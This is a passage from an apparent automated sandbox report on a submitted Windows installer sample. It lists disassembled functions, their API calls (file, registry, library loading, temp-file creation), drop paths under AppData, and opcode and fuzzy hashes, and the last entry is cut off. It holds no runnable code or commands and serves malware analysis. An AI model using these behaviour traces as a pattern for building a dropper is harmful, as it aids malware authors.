Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

C:\Users\user\AppData\Local\Temp\nse90B2.tmp, xrefs: 00401821, 0040183F
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Iw\Bombestoppets, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Iw\Bombestoppets$C:\Users\user\AppData\Local\Temp\nse90B2.tmp$C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll$Call
API String ID: 1941528284-3493626618
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,00000001,?,?,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 004067B8

Strings

%s%S.dll, xrefs: 0040679E
UXTHEME, xrefs: 0040675B
\, xrefs: 0040677A

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Strings

C:\Users\user\Desktop, xrefs: 0040591F

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-224404859
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 6CF11777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6CF11B5F: GlobalFree.KERNEL32(?), ref: 6CF11DB2
Part of subcall function 6CF11B5F: GlobalFree.KERNEL32(?), ref: 6CF11DB7
Part of subcall function 6CF11B5F: GlobalFree.KERNEL32(?), ref: 6CF11DBC

GlobalFree.KERNEL32(00000000), ref: 6CF11825
FreeLibrary.KERNEL32(?), ref: 6CF118AB
GlobalFree.KERNEL32(00000000), ref: 6CF118D0

Part of subcall function 6CF12352: GlobalAlloc.KERNEL32(?,?), ref: 6CF12383

Part of subcall function 6CF12724: GlobalAlloc.KERNEL32(?,00000000,?,?,00000000,?,?,?,6CF117F6,00000000), ref: 6CF127F4

Part of subcall function 6CF115C6: wsprintfW.USER32 ref: 6CF115F4

Strings

, xrefs: 6CF118B1

Memory Dump Source

Source File: 00000000.00000002.2464950937.000000006CF11000.00000020.00000001.01000000.00000004.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.2464871451.000000006CF10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2464976083.000000006CF14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2465039264.000000006CF16000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_c7WJL1gt32.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 715a9c8c5ab1985b230f4bfa618b647e7f1981ae0a8f18ce7f34ab238b9f2193
Instruction ID: bda5be0d290a38b8bd20dfbc85822293837c39ca761230cf2604bb7e27304f7d
Opcode Fuzzy Hash: 715a9c8c5ab1985b230f4bfa618b647e7f1981ae0a8f18ce7f34ab238b9f2193
Instruction Fuzzy Hash: 9041F3719082059ADF108FB4D888BC637B8BF1632CF24C135E9159AE86DB79C188C760

Function 004032DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(0016A154,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Strings

ogram cannot be run in DOS mode.$, xrefs: 00403337, 004033D2

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: ogram cannot be run in DOS mode.$
API String ID: 1092082344-3978178379
Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 00402032 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,?), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,?,00000001,?), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,?,00000001,?), ref: 004020EB

Strings

h"s, xrefs: 004020B0

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID: h"s
API String ID: 334405425-3610977580
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nse90B2.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nse90B2.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nse90B2.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nse90B2.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nse90B2.tmp
API String ID: 2655323295-3845316240
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00435000,004034A3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F12, 00405F16

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,74DF2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,74DF2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,?,00000000,?), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Iw\Bombestoppets,?,00000000,?), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Iw\Bombestoppets, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Iw\Bombestoppets
API String ID: 1892508949-542753526
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417231352.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417297454.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2417203909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2417189556.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2417218395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
